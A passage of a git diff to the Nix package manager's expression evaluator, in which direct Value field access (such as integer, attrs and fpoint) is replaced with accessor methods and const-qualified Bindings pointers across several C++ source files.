std::string_view err try { forceValue(v, pos); if (v.type() == nInt) - return v.integer; + return v.integer(); else if (v.type() != nFloat) error( "expected a float but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions) ).atPos(pos).debugThrow(); - return v.fpoint; + return v.fpoint(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); throw; @@ -2194,19 +2189,19 @@ bool EvalState::forceBool(Value & v, const PosIdx pos, std::string_view errorCtx showType(v), ValuePrinter(*this, v, errorPrintOptions) ).atPos(pos).debugThrow(); - return v.boolean; + return v.boolean(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); throw; } - return v.boolean; + return v.boolean(); } bool EvalState::isFunctor(Value & fun) { - return fun.type() == nAttrs && fun.attrs->find(sFunctor) != fun.attrs->end(); + return fun.type() == nAttrs && fun.attrs()->find(sFunctor) != fun.attrs()->end(); } @@ -2247,8 +2242,8 @@ std::string_view EvalState::forceString(Value & v, const PosIdx pos, std::string void copyContext(const Value & v, NixStringContext & context) { - if (v.string.context) - for (const char * * p = v.string.context; *p; ++p) + if (v.payload.string.context) + for (const char * * p = v.payload.string.context; *p; ++p) context.insert(NixStringContextElem::parse(*p)); } @@ -2274,8 +2269,8 @@ std::string_view EvalState::forceStringNoCtx(Value & v, const PosIdx pos, std::s bool EvalState::isDerivation(Value & v) { if (v.type() != nAttrs) return false; - Bindings::iterator i = v.attrs->find(sType); - if (i == v.attrs->end()) return false; + auto i = v.attrs()->get(sType); + if (!i) return false; forceValue(*i->value, i->pos); if (i->value->type() != nString) return false; return i->value->string_view().compare("derivation") == 0; @@ -2285,8 +2280,8 @@ bool EvalState::isDerivation(Value & v) std::optional EvalState::tryAttrsToString(const PosIdx pos, Value & v, NixStringContext & context, bool coerceMore, bool copyToStore) { - auto i = v.attrs->find(sToString); - if (i != v.attrs->end()) { + auto i = v.attrs()->find(sToString); + if (i != v.attrs()->end()) { Value v1; callFunction(*i->value, v, v1, pos); return coerceToString(pos, v1, context, @@ -2318,7 +2313,7 @@ BackedStringView EvalState::coerceToString( !canonicalizePath && !copyToStore ? // FIXME: hack to preserve path literals that end in a // slash, as in /foo/${x}. - v._path.path + v.payload.path.path : copyToStore ? store->printStorePath(copyPathToStore(context, v.path())) : std::string(v.path().path.abs()); @@ -2328,8 +2323,8 @@ BackedStringView EvalState::coerceToString( auto maybeString = tryAttrsToString(pos, v, context, coerceMore, copyToStore); if (maybeString) return std::move(*maybeString); - auto i = v.attrs->find(sOutPath); - if (i == v.attrs->end()) { + auto i = v.attrs()->find(sOutPath); + if (i == v.attrs()->end()) { error( "cannot coerce %1% to a string: %2%", showType(v), @@ -2344,7 +2339,7 @@ BackedStringView EvalState::coerceToString( if (v.type() == nExternal) { try { - return v.external->coerceToString(*this, pos, context, coerceMore, copyToStore); + return v.external()->coerceToString(*this, pos, context, coerceMore, copyToStore); } catch (Error & e) { e.addTrace(nullptr, errorCtx); throw; @@ -2354,10 +2349,10 @@ BackedStringView EvalState::coerceToString( if (coerceMore) { /* Note that `false' is represented as an empty string for shell scripting convenience, just like `null'. */ - if (v.type() == nBool && v.boolean) return "1"; - if (v.type() == nBool && !v.boolean) return ""; - if (v.type() == nInt) return std::to_string(v.integer); - if (v.type() == nFloat) return std::to_string(v.fpoint); + if (v.type() == nBool && v.boolean()) return "1"; + if (v.type() == nBool && !v.boolean()) return ""; + if (v.type() == nInt) return std::to_string(v.integer()); + if (v.type() == nFloat) return std::to_string(v.fpoint()); if (v.type() == nNull) return ""; if (v.isList()) { @@ -2436,8 +2431,8 @@ SourcePath EvalState::coerceToPath(const PosIdx pos, Value & v, NixStringContext /* Similarly, handle __toString where the result may be a path value. */ if (v.type() == nAttrs) { - auto i = v.attrs->find(sToString); - if (i != v.attrs->end()) { + auto i = v.attrs()->find(sToString); + if (i != v.attrs()->end()) { Value v1; callFunction(*i->value, v, v1, pos); return coerceToPath(pos, v1, context, errorCtx); @@ -2531,19 +2526,19 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v // Special case type-compatibility between float and int if (v1.type() == nInt && v2.type() == nFloat) - return v1.integer == v2.fpoint; + return v1.integer() == v2.fpoint(); if (v1.type() == nFloat && v2.type() == nInt) - return v1.fpoint == v2.integer; + return v1.fpoint() == v2.integer(); // All other types are not compatible with each other. if (v1.type() != v2.type()) return false; switch (v1.type()) { case nInt: - return v1.integer == v2.integer; + return v1.integer() == v2.integer(); case nBool: - return v1.boolean == v2.boolean; + return v1.boolean() == v2.boolean(); case nString: return strcmp(v1.c_str(), v2.c_str()) == 0; @@ -2551,8 +2546,8 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v case nPath: return // FIXME: compare accessors by their fingerprint. - v1._path.accessor == v2._path.accessor - && strcmp(v1._path.path, v2._path.path) == 0; + v1.payload.path.accessor == v2.payload.path.accessor + && strcmp(v1.payload.path.path, v2.payload.path.path) == 0; case nNull: return true; @@ -2567,17 +2562,17 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v /* If both sets denote a derivation (type = "derivation"), then compare their outPaths. */ if (isDerivation(v1) && isDerivation(v2)) { - Bindings::iterator i = v1.attrs->find(sOutPath); - Bindings::iterator j = v2.attrs->find(sOutPath); - if (i != v1.attrs->end() && j != v2.attrs->end()) + auto i = v1.attrs()->get(sOutPath); + auto j = v2.attrs()->get(sOutPath); + if (i && j) return eqValues(*i->value, *j->value, pos, errorCtx); } - if (v1.attrs->size() != v2.attrs->size()) return false; + if (v1.attrs()->size() != v2.attrs()->size()) return false; /* Otherwise, compare the attributes one by one. */ - Bindings::iterator i, j; - for (i = v1.attrs->begin(), j = v2.attrs->begin(); i != v1.attrs->end(); ++i, ++j) + Bindings::const_iterator i, j; + for (i = v1.attrs()->begin(), j = v2.attrs()->begin(); i != v1.attrs()->end(); ++i, ++j) if (i->name != j->name || !eqValues(*i->value, *j->value, pos, errorCtx)) return false; @@ -2589,10 +2584,10 @@ bool EvalState::eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_v return false; case nExternal: - return *v1.external == *v2.external; + return *v1.external() == *v2.external(); case nFloat: - return v1.fpoint == v2.fpoint; + return v1.fpoint() == v2.fpoint(); case nThunk: // Must not be left by forceValue default: diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index f15d19653..0e569de26 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -86,7 +86,7 @@ struct PrimOp void check(); }; -std::ostream & operator<<(std::ostream & output, PrimOp & primOp); +std::ostream & operator<<(std::ostream & output, const PrimOp & primOp); /** * Info about a constant @@ -635,9 +635,6 @@ public: inline Value * allocValue(); inline Env & allocEnv(size_t size); - Value * allocAttr(Value & vAttrs, Symbol name); - Value * allocAttr(Value & vAttrs, std::string_view name); - Bindings * allocBindings(size_t capacity); BindingsBuilder buildBindings(size_t capacity) diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index bca473453..1f0326eb5 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -111,7 +111,7 @@ static FlakeInput parseFlakeInput(EvalState & state, fetchers::Attrs attrs; std::optional url; - for (nix::Attr attr : *(value->attrs)) { + for (auto & attr : *value->attrs()) { try { if (attr.name == sUrl) { expectType(state, nString, *attr.value, attr.pos); @@ -119,7 +119,7 @@ static FlakeInput parseFlakeInput(EvalState & state, attrs.emplace("url", *url); } else if (attr.name == sFlake) { expectType(state, nBool, *attr.value, attr.pos); - input.isFlake = attr.value->boolean; + input.isFlake = attr.value->boolean(); } else if (attr.name == sInputs) { input.overrides = parseFlakeInputs(state, attr.value, attr.pos, baseDir, lockRootPath); } else if (attr.name == sFollows) { @@ -136,10 +136,10 @@ static FlakeInput parseFlakeInput(EvalState & state, attrs.emplace(state.symbols[attr.name], attr.value->c_str()); break; case nBool: - attrs.emplace(state.symbols[attr.name], Explicit { attr.value->boolean }); + attrs.emplace(state.symbols[attr.name], Explicit { attr.value->boolean() }); break; case nInt: - attrs.emplace(state.symbols[attr.name], (long unsigned int) attr.value->integer); + attrs.emplace(state.symbols[attr.name], (long unsigned int) attr.value->integer()); break; default: if (attr.name == state.symbols.create("publicKeys")) { @@ -189,7 +189,7 @@ static std::map parseFlakeInputs( expectType(state, nAttrs, *value, pos); - for (nix::Attr & inputAttr : *(*value).attrs) { + for (auto & inputAttr : *value->attrs()) { inputs.emplace(state.symbols[inputAttr.name], parseFlakeInput(state, state.symbols[inputAttr.name], @@ -223,23 +223,23 @@ static Flake readFlake( .path = flakePath, }; - if (auto description = vInfo.attrs->get(state.sDescription)) { + if (auto description = vInfo.attrs()->get(state.sDescription)) { expectType(state, nString, *description->value, description->pos); flake.description = description->value->c_str(); } auto sInputs = state.symbols.create("inputs"); - if (auto inputs = vInfo.attrs->get(sInputs)) + if (auto inputs = vInfo.attrs()->get(sInputs)) flake.inputs = parseFlakeInputs(state, inputs->value, inputs->pos, flakePath.parent().path.abs(), lockRootPath); // FIXME auto sOutputs = state.symbols.create("outputs"); - if (auto outputs = vInfo.attrs->get(sOutputs)) { + if (auto outputs = vInfo.attrs()->get(sOutputs)) { expectType(state, nFunction, *outputs->value, outputs->pos); - if (outputs->value->isLambda() && outputs->value->lambda.fun->hasFormals()) { - for (auto & formal : outputs->value->lambda.fun->formals->formals) { + if (outputs->value->isLambda() && outputs->value->payload.lambda.fun->hasFormals()) { + for (auto & formal : outputs->value->payload.lambda.fun->formals->formals) { if (formal.name != state.sSelf) flake.inputs.emplace(state.symbols[formal.name], FlakeInput { .ref = parseFlakeRef(state.symbols[formal.name]) @@ -252,10 +252,10 @@ static Flake readFlake( auto sNixConfig = state.symbols.create("nixConfig"); - if (auto nixConfig = vInfo.attrs->get(sNixConfig)) { + if (auto nixConfig = vInfo.attrs()->get(sNixConfig)) { expectType(state, nAttrs, *nixConfig->value, nixConfig->pos); - for (auto & setting : *nixConfig->value->attrs) { + for (auto & setting : *nixConfig->value->attrs()) { forceTrivialValue(state, *setting.value, setting.pos); if (setting.value->type() == nString) flake.config.settings.emplace( @@ -291,7 +291,7 @@ static Flake readFlake( } } - for (auto & attr : *vInfo.attrs) { + for (auto & attr : *vInfo.attrs()) { if (attr.name != state.sDescription && attr.name != sInputs && attr.name != sOutputs && @@ -879,17 +879,17 @@ static void prim_flakeRefToString( state.forceAttrs(*args[0], noPos, "while evaluating the argument passed to builtins.flakeRefToString"); fetchers::Attrs attrs; - for (const auto & attr : *args[0]->attrs) { + for (const auto & attr : *args[0]->attrs()) { auto t = attr.value->type(); if (t == nInt) { attrs.emplace(state.symbols[attr.name], - (uint64_t) attr.value->integer); + (uint64_t) attr.value->integer()); } else if (t == nBool) { attrs.emplace(state.symbols[attr.name], - Explicit { attr.value->boolean }); + Explicit { attr.value->boolean() }); } else if (t == nString) { attrs.emplace(state.symbols[attr.name], - std::string(attr.value->string_view())); + std::string(attr.value->string_view())); } else { state.error( "flake reference attribute sets may only contain integers, Booleans, " diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc index e9ed1ef08..cf10ed84a 100644 --- a/src/libexpr/get-drvs.cc +++ b/src/libexpr/get-drvs.cc @@ -11,7 +11,7 @@ namespace nix { -PackageInfo::PackageInfo(EvalState & state, std::string attrPath, Bindings * attrs) +PackageInfo::PackageInfo(EvalState & state, std::string attrPath, const Bindings * attrs) : state(&state), attrs(attrs), attrPath(std::move(attrPath)) { } @@ -69,12 +69,11 @@ std::string PackageInfo::querySystem() const std::optional PackageInfo::queryDrvPath() const { if (!drvPath && attrs) { - Bindings::iterator i = attrs->find(state->sDrvPath); NixStringContext context; - if (i == attrs->end()) - drvPath = {std::nullopt}; - else + if (auto i = attrs->get(state->sDrvPath)) drvPath = {state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation")}; + else + drvPath = {std::nullopt}; } return drvPath.value_or(std::nullopt); } @@ -91,7 +90,7 @@ StorePath PackageInfo::requireDrvPath() const StorePath PackageInfo::queryOutPath() const { if (!outPath && attrs) { - Bindings::iterator i = attrs->find(state->sOutPath); + auto i = attrs->find(state->sOutPath); NixStringContext context; if (i != attrs->end()) outPath = state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the output path of a derivation"); @@ -106,8 +105,8 @@ PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsT { if (outputs.empty()) { /* Get the ‘outputs’ list. */ - Bindings::iterator i; - if (attrs && (i = attrs->find(state->sOutputs)) != attrs->end()) { + const Attr * i; + if (attrs && (i = attrs->get(state->sOutputs))) { state->forceList(*i->value, i->pos, "while evaluating the 'outputs' attribute of a derivation"); /* For each output... */ @@ -116,13 +115,13 @@ PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsT if (withPaths) { /* Evaluate the corresponding set. */ - Bindings::iterator out = attrs->find(state->symbols.create(output)); - if (out == attrs->end()) continue; // FIXME: throw error? + auto out = attrs->get(state->symbols.create(output)); + if (!out) continue; // FIXME: throw error? state->forceAttrs(*out->value, i->pos, "while evaluating an output of a derivation"); /* And evaluate its ‘outPath’ attribute. */ - Bindings::iterator outPath = out->value->attrs->find(state->sOutPath); - if (outPath == out->value->attrs->end()) continue; // FIXME: throw error? + auto outPath = out->value->attrs()->get(state->sOutPath); + if (!outPath) continue; // FIXME: throw error? NixStringContext context; outputs.emplace(output, state->coerceToStorePath(outPath->pos, *outPath->value, context, "while evaluating an output path of a derivation")); } else @@ -135,8 +134,8 @@ PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsT if (!onlyOutputsToInstall || !attrs) return outputs; - Bindings::iterator i; - if (attrs && (i = attrs->find(state->sOutputSpecified)) != attrs->end() && state->forceBool(*i->value, i->pos, "while evaluating the 'outputSpecified' attribute of a derivation")) { + const Attr * i; + if (attrs && (i = attrs->get(state->sOutputSpecified)) && state->forceBool(*i->value, i->pos, "while evaluating the 'outputSpecified' attribute of a derivation")) { Outputs result; auto out = outputs.find(queryOutputName()); if (out == outputs.end()) @@ -167,21 +166,21 @@ PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsT std::string PackageInfo::queryOutputName() const { if (outputName == "" && attrs) { - Bindings::iterator i = attrs->find(state->sOutputName); - outputName = i != attrs->end() ? state->forceStringNoCtx(*i->value, noPos, "while evaluating the output name of a derivation") : ""; + auto i = attrs->get(state->sOutputName); + outputName = i ? state->forceStringNoCtx(*i->value, noPos, "while evaluating the output name of a derivation") : ""; } return outputName; } -Bindings * PackageInfo::getMeta() +const Bindings * PackageInfo::getMeta() { if (meta) return meta; if (!attrs) return 0; - Bindings::iterator a = attrs->find(state->sMeta); - if (a == attrs->end()) return 0; + auto a = attrs->get(state->sMeta); + if (!a) return 0; state->forceAttrs(*a->value, a->pos, "while evaluating the 'meta' attribute of a derivation"); - meta = a->value->attrs; + meta = a->value->attrs(); return meta; } @@ -205,9 +204,8 @@ bool PackageInfo::checkMeta(Value & v) return true; } else if (v.type() == nAttrs) { - Bindings::iterator i = v.attrs->find(state->sOutPath); - if (i != v.attrs->end()) return false; - for (auto & i : *v.attrs) + if (v.attrs()->get(state->sOutPath)) return false; + for (auto & i : *v.attrs()) if (!checkMeta(*i.value)) return false; return true; } @@ -219,8 +217,8 @@ bool PackageInfo::checkMeta(Value & v) Value * PackageInfo::queryMeta(const std::string & name) { if (!getMeta()) return 0; - Bindings::iterator a = meta->find(state->symbols.create(name)); - if (a == meta->end() || !checkMeta(*a->value)) return 0; + auto a = meta->get(state->symbols.create(name)); + if (!a || !checkMeta(*a->value)) return 0; return a->value; } @@ -237,7 +235,7 @@ NixInt PackageInfo::queryMetaInt(const std::string & name, NixInt def) { Value * v = queryMeta(name); if (!v) return def; - if (v->type() == nInt) return v->integer; + if (v->type() == nInt) return v->integer(); if (v->type() == nString) { /* Backwards compatibility with before we had support for integer meta fields. */ @@ -251,7 +249,7 @@ NixFloat PackageInfo::queryMetaFloat(const std::string & name, NixFloat def) { Value * v = queryMeta(name); if (!v) return def; - if (v->type() == nFloat) return v->fpoint; + if (v->type() == nFloat) return v->fpoint(); if (v->type() == nString) { /* Backwards compatibility with before we had support for float meta fields. */ @@ -266,7 +264,7 @@ bool PackageInfo::queryMetaBool(const std::string & name, bool def) { Value * v = queryMeta(name); if (!v) return def; - if (v->type() == nBool) return v->boolean; + if (v->type() == nBool) return v->boolean(); if (v->type() == nString) { /* Backwards compatibility with before we had support for Boolean meta fields. */ @@ -292,7 +290,7 @@ void PackageInfo::setMeta(const std::string & name, Value * v) /* Cache for already considered attrsets. */ -typedef std::set Done; +typedef std::set Done; /* Evaluate value `v'. If it evaluates to a set of type `derivation', @@ -309,9 +307,9 @@ static bool getDerivation(EvalState & state, Value & v, /* Remove spurious duplicates (e.g., a set like `rec { x = derivation {...}; y = x;}'. */ - if (!done.insert(v.attrs).second) return false; + if (!done.insert(v.attrs()).second) return false; - PackageInfo drv(state, attrPath, v.attrs); + PackageInfo drv(state, attrPath, v.attrs()); drv.queryName(); @@ -361,14 +359,14 @@ static void getDerivations(EvalState & state, Value & vIn, /* !!! undocumented hackery to support combining channels in nix-env.cc. */ - bool combineChannels = v.attrs->find(state.symbols.create("_combineChannels")) != v.attrs->end(); + bool combineChannels = v.attrs()->get(state.symbols.create("_combineChannels")); /* Consider the attributes in sorted order to get more deterministic behaviour in nix-env operations (e.g. when there are names clashes between derivations, the derivation bound to the attribute with the "lower" name should take precedence). */ - for (auto & i : v.attrs->lexicographicOrder(state.symbols)) { + for (auto & i : v.attrs()->lexicographicOrder(state.symbols)) { debug("evaluating attribute '%1%'", state.symbols[i->name]); if (!std::regex_match(std::string(state.symbols[i->name]), attrRegex)) continue; @@ -380,8 +378,8 @@ static void getDerivations(EvalState & state, Value & vIn, should we recurse into it? => Only if it has a `recurseForDerivations = true' attribute. */ if (i->value->type() == nAttrs) { - Bindings::iterator j = i->value->attrs->find(state.sRecurseForDerivations); - if (j != i->value->attrs->end() && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`")) + auto j = i->value->attrs()->get(state.sRecurseForDerivations); + if (j && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`")) getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); } } diff --git a/src/libexpr/get-drvs.hh b/src/libexpr/get-drvs.hh index e8c1190f7..db3eedb05 100644 --- a/src/libexpr/get-drvs.hh +++ b/src/libexpr/get-drvs.hh @@ -33,9 +33,9 @@ private: */ bool failed = false; - Bindings * attrs = nullptr, * meta = nullptr; + const Bindings * attrs = nullptr, * meta = nullptr; - Bindings * getMeta(); + const Bindings * getMeta(); bool checkMeta(Value & v); @@ -46,7 +46,7 @@ public: std::string attrPath; PackageInfo(EvalState & state) : state(&state) { }; - PackageInfo(EvalState & state, std::string attrPath, Bindings * attrs); + PackageInfo(EvalState & state, std::string attrPath, const Bindings * attrs); PackageInfo(EvalState & state, ref store, const std::string & drvPathWithOutputs); std::string queryName() const; diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 5bdc466eb..c1e2b0448 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -28,12 +28,12 @@ void Expr::show(const SymbolTable & symbols, std::ostream & str) const void ExprInt::show(const SymbolTable & symbols, std::ostream & str) const { - str << v.integer; + str << v.integer(); } void ExprFloat::show(const SymbolTable & symbols, std::ostream & str) const { - str << v.fpoint; + str << v.fpoint(); } void ExprString::show(const SymbolTable & symbols, std::ostream & str) const diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index d0fcfd194..630ee8071 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -216,13 +216,13 @@ static void import(EvalState & state, const PosIdx pos, Value & vPath, Value * v else { state.forceAttrs(*vScope, pos, "while evaluating the first argument passed to builtins.scopedImport"); - Env * env = &state.allocEnv(vScope->attrs->size()); + Env * env = &state.allocEnv(vScope->attrs()->size()); env->up = &state.baseEnv; - auto staticEnv = std::make_shared(nullptr, state.staticBaseEnv.get(), vScope->attrs->size()); + auto staticEnv = std::make_shared(nullptr, state.staticBaseEnv.get(), vScope->attrs()->size()); unsigned int displ = 0; - for (auto & attr : *vScope->attrs) { + for (auto & attr : *vScope->attrs()) { staticEnv->vars.emplace_back(attr.name, displ); env->values[displ++] = attr.value; } @@ -411,7 +411,7 @@ static void prim_typeOf(EvalState & state, const PosIdx pos, Value * * args, Val case nList: t = "list"; break; case nFunction: t = "lambda"; break; case nExternal: - t = args[0]->external->typeOf(); + t = args[0]->external()->typeOf(); break; case nFloat: t = "float"; break; case nThunk: abort(); @@ -575,9 +575,9 @@ struct CompareValues { try { if (v1->type() == nFloat && v2->type() == nInt) - return v1->fpoint < v2->integer; + return v1->fpoint() < v2->integer(); if (v1->type() == nInt && v2->type() == nFloat) - return v1->integer < v2->fpoint; + return v1->integer() < v2->fpoint(); if (v1->type() != v2->type()) state.error("cannot compare %s with %s", showType(*v1), showType(*v2)).debugThrow(); // Allow selecting a subset of enum values @@ -585,16 +585,16 @@ struct CompareValues #pragma GCC diagnostic ignored "-Wswitch-enum" switch (v1->type()) { case nInt: - return v1->integer < v2->integer; + return v1->integer() < v2->integer(); case nFloat: - return v1->fpoint < v2->fpoint; + return v1->fpoint() < v2->fpoint(); case nString: return strcmp(v1->c_str(), v2->c_str()) < 0; case nPath: // Note: we don't take the accessor into account // since it's not obvious how to compare them in a // reproducible way. - return strcmp(v1->_path.path, v2->_path.path) < 0; + return strcmp(v1->payload.path.path, v2->payload.path.path) < 0; case nList: // Lexicographic comparison for (size_t i = 0;; i++) { @@ -626,13 +626,13 @@ typedef std::list ValueList; #endif -static Bindings::iterator getAttr( +static Bindings::const_iterator getAttr( EvalState & state, Symbol attrSym, - Bindings * attrSet, + const Bindings * attrSet, std::string_view errorCtx) { - Bindings::iterator value = attrSet->find(attrSym); + auto value = attrSet->find(attrSym); if (value == attrSet->end()) { state.error("attribute '%s' missing", state.symbols[attrSym]).withTrace(noPos, errorCtx).debugThrow(); } @@ -644,7 +644,7 @@ static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * a state.forceAttrs(*args[0], noPos, "while evaluating the first argument passed to builtins.genericClosure"); /* Get the start set. */ - Bindings::iterator startSet = getAttr(state, state.sStartSet, args[0]->attrs, "in the attrset passed as argument to builtins.genericClosure"); + auto startSet = getAttr(state, state.sStartSet, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); state.forceList(*startSet->value, noPos, "while evaluating the 'startSet' attribute passed as argument to builtins.genericClosure"); @@ -658,7 +658,7 @@ static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * a } /* Get the operator. */ - Bindings::iterator op = getAttr(state, state.sOperator, args[0]->attrs, "in the attrset passed as argument to builtins.genericClosure"); + auto op = getAttr(state, state.sOperator, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); state.forceFunction(*op->value, noPos, "while evaluating the 'operator' attribute passed as argument to builtins.genericClosure"); /* Construct the closure by applying the operator to elements of @@ -675,7 +675,7 @@ static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * a state.forceAttrs(*e, noPos, "while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure"); - Bindings::iterator key = getAttr(state, state.sKey, e->attrs, "in one of the attrsets generated by (or initially passed to) builtins.genericClosure"); + auto key = getAttr(state, state.sKey, e->attrs(), "in one of the attrsets generated by (or initially passed to) builtins.genericClosure"); state.forceValue(*key->value, noPos); if (!doneKeys.insert(key->value).second) continue; @@ -1041,7 +1041,11 @@ static void prim_second(EvalState & state, const PosIdx pos, Value * * args, Val * Derivations *************************************************************/ -static void derivationStrictInternal(EvalState & state, const std::string & name, Bindings * attrs, Value & v); +static void derivationStrictInternal( + EvalState & state, + const std::string & name, + const Bindings * attrs, + Value & v); /* Construct (as a unobservable side effect) a Nix derivation expression that performs the derivation described by the argument @@ -1054,10 +1058,10 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.derivationStrict"); - Bindings * attrs = args[0]->attrs; + auto attrs = args[0]->attrs(); /* Figure out the name first (for stack backtraces). */ - Bindings::iterator nameAttr = getAttr(state, state.sName, attrs, "in the attrset passed as argument to builtins.derivationStrict"); + auto nameAttr = getAttr(state, state.sName, attrs, "in the attrset passed as argument to builtins.derivationStrict"); std::string drvName; try { @@ -1096,8 +1100,11 @@ static void prim_derivationStrict(EvalState & state, const PosIdx pos, Value * * } } -static void derivationStrictInternal(EvalState & state, const std::string & -drvName, Bindings * attrs, Value & v) +static void derivationStrictInternal( + EvalState & state, + const std::string & drvName, + const Bindings * attrs, + Value & v) { /* Check whether attributes should be passed as a JSON file. */ using nlohmann::json; @@ -1670,11 +1677,11 @@ static void prim_findFile(EvalState & state, const PosIdx pos, Value * * args, V state.forceAttrs(*v2, pos, "while evaluating an element of the list passed to builtins.findFile"); std::string prefix; - Bindings::iterator i = v2->attrs->find(state.sPrefix); - if (i != v2->attrs->end()) + auto i = v2->attrs()->find(state.sPrefix); + if (i != v2->attrs()->end()) prefix = state.forceStringNoCtx(*i->value, pos, "while evaluating the `prefix` attribute of an element of the list passed to builtins.findFile"); - i = getAttr(state, state.sPath, v2->attrs, "in an element of the __nixPath"); + i = getAttr(state, state.sPath, v2->attrs(), "in an element of the __nixPath"); NixStringContext context; auto path = state.coerceToString(pos, *i->value, context, @@ -2346,7 +2353,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value state.forceAttrs(*args[0], pos, "while evaluating the argument passed to 'builtins.path'"); - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { auto n = state.symbols[attr.name]; if (n == "path") path.emplace(state.coerceToPath(attr.pos, *attr.value, context, "while evaluating the 'path' attribute passed to 'builtins.path'")); @@ -2421,9 +2428,9 @@ static void prim_attrNames(EvalState & state, const PosIdx pos, Value * * args, { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrNames"); - auto list = state.buildList(args[0]->attrs->size()); + auto list = state.buildList(args[0]->attrs()->size()); - for (const auto & [n, i] : enumerate(*args[0]->attrs)) + for (const auto & [n, i] : enumerate(*args[0]->attrs())) (list[n] = state.allocValue())->mkString(state.symbols[i.name]); std::sort(list.begin(), list.end(), @@ -2449,9 +2456,9 @@ static void prim_attrValues(EvalState & state, const PosIdx pos, Value * * args, { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrValues"); - auto list = state.buildList(args[0]->attrs->size()); + auto list = state.buildList(args[0]->attrs()->size()); - for (const auto & [n, i] : enumerate(*args[0]->attrs)) + for (const auto & [n, i] : enumerate(*args[0]->attrs())) list[n] = (Value *) &i; std::sort(list.begin(), list.end(), @@ -2482,10 +2489,10 @@ void prim_getAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v { auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getAttr"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.getAttr"); - Bindings::iterator i = getAttr( + auto i = getAttr( state, state.symbols.create(attr), - args[1]->attrs, + args[1]->attrs(), "in the attribute set under consideration" ); // !!! add to stack trace? @@ -2511,8 +2518,8 @@ static void prim_unsafeGetAttrPos(EvalState & state, const PosIdx pos, Value * * { auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.unsafeGetAttrPos"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.unsafeGetAttrPos"); - Bindings::iterator i = args[1]->attrs->find(state.symbols.create(attr)); - if (i == args[1]->attrs->end()) + auto i = args[1]->attrs()->find(state.symbols.create(attr)); + if (i == args[1]->attrs()->end()) v.mkNull(); else state.mkPos(v, i->pos); @@ -2540,13 +2547,13 @@ static struct LazyPosAcessors { PrimOp primop_lineOfPos{ .arity = 1, .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { - v.mkInt(state.positions[PosIdx(args[0]->integer)].line); + v.mkInt(state.positions[PosIdx(args[0]->integer())].line); } }; PrimOp primop_columnOfPos{ .arity = 1, .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { - v.mkInt(state.positions[PosIdx(args[0]->integer)].column); + v.mkInt(state.positions[PosIdx(args[0]->integer())].column); } }; @@ -2577,7 +2584,7 @@ static void prim_hasAttr(EvalState & state, const PosIdx pos, Value * * args, Va { auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hasAttr"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.hasAttr"); - v.mkBool(args[1]->attrs->find(state.symbols.create(attr)) != args[1]->attrs->end()); + v.mkBool(args[1]->attrs()->find(state.symbols.create(attr)) != args[1]->attrs()->end()); } static RegisterPrimOp primop_hasAttr({ @@ -2627,9 +2634,9 @@ static void prim_removeAttrs(EvalState & state, const PosIdx pos, Value * * args /* Copy all attributes not in that set. Note that we don't need to sort v.attrs because it's a subset of an already sorted vector. */ - auto attrs = state.buildBindings(args[0]->attrs->size()); + auto attrs = state.buildBindings(args[0]->attrs()->size()); std::set_difference( - args[0]->attrs->begin(), args[0]->attrs->end(), + args[0]->attrs()->begin(), args[0]->attrs()->end(), names.begin(), names.end(), std::back_inserter(attrs)); v.mkAttrs(attrs.alreadySorted()); @@ -2667,13 +2674,13 @@ static void prim_listToAttrs(EvalState & state, const PosIdx pos, Value * * args for (auto v2 : args[0]->listItems()) { state.forceAttrs(*v2, pos, "while evaluating an element of the list passed to builtins.listToAttrs"); - Bindings::iterator j = getAttr(state, state.sName, v2->attrs, "in a {name=...; 